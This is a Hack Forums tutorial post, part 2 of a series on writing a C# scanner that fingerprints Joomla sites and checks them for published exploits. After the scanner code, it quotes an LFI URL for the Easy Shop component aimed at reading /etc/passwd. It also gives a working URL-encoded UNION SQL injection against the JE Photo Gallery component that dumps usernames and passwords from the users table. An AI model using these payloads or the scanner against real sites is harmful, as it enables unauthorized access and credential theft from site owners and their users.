

Forum:[Hack Forums](#)

Thread: [Creating a Joomla Exploit Scanner - Part 2](#)

realsunjester - May 1, 2019, 2:26 am

After reviewing the previous tutorial I made some changes to the code. I was trying to get a percentage from an integer and it was failing and causing the percentage to yield 0% when a 404 URL response code was found. Below is the code I changed, it's now a double method.

```
Code      static double isJoomla()
          {
            double found = 0;
            double perc = 0;

            string[] joomlaDirs = {
                "administrator/",
                "templates/protostar/favicon.ico"
            };

            foreach(string dir in joomlaDirs)
            {
                Scanner.curUrl = Scanner.url + dir;
                Console.WriteLine("Checking directory: " + Scanner.curUrl);

                if(getResponseCode() == "200")
                {
                    found++;
                }
            }

            perc = (found/joomlaDirs.Length)*100;

            return perc;
        }
```

In the following video you can see the percentage. I did not round the numbers up, I just changed the formatting with the ToString() method. You should also note that in order for the percentage to work properly, every single URL in that directory string array needs to be something you can find on a Joomla website. If not, then the percentage is pointless. Not every Joomla site will have the URL's in the string array but every Joomla site COULD have those because it IS a Joomla based site.

So at the end of the video you will see a bug that I found while testing the app before I continued to add more methods to the class. The error occurs when you don't add a trailing slash to the end of the URL. That is something we need to fix since not everyone will add a trailing slash.

So the code below will add a trailing slash to the URL if there already isn't one, and will fix the error in the video above.

```
Code      static void checkTrailingSlash()
```

```
{
    if(!Scanner.url.EndsWith("/")) Scanner.url = Scanner.url + "/";
}
```

The next thing we will focus on is taking some exploits from open vulnerability sites and figuring out a way to use the info that is published and checking it against a vulnerable website. Below are a few links to find some Joomla exploits.

<https://packetstormsecurity.com/>

<https://exploit-db/>

<https://cxsecurity.com/>

Much like discovering directories to determine if the website URL is an actual Joomla site, we can use this same kind of method to determine (most) SQL injection exploits, as well as directory traversal exploits. Exploit-DB has a great option to download the vulnerable software, which will make it a bit easier. I will start with this exploit: <https://www.exploit-db.com/exploits/46219>

In the exploit POC they supply an example URL and we have access to the component to install. Installing it is pretty easy and simple. The vulnerable URL is below. It's an LFI exploit, let's check and see if it's working.

Code

http://localhost/[PATH]/index.php?option=com_easyshop&task=ajax.loadImage&file=[BASE64_FILE
NAME]

And when we try to execute the POC URL and get the /etc/passwd from the server it fails. So either this version of Joomla isn't vulnerable with this version of the vulnerable component Easy Shop 1.2.3

But we do know the file exists, so we can be certain that this published exploit does not work. You can see below that the passwd file does exist. So keep in mind that when building an exploit scanner like this can take some time. This was the first exploit we tried, so let's keep trying some others until we get a few that work.

I got lucky and the second one I tried worked fine (<https://www.exploit-db.com/exploits/45930>) However some shitty perl script had the URL split up, which only took two seconds to add them together. The problem with this exploit is that when you install Joomla it will randomly pre-pend letters to the table names. So below is the URL to exploit the SQL injection on our server.

Code

index.php?tmpl=component&option=com_jephotogallery&view=category&task=fetchimage&categoryid=

```
-29%20UNion%20seLECT%20%28SELECT%20GROUP_CONCAT%28username%2c0x3a%2cpas  
sword%29%20FROM%20op1oq_users  
%29%2c0%2c0%2c0%2c0%2c0%2c0%2c0%2c0%2cNuLL%2c0%2c0--%20-
```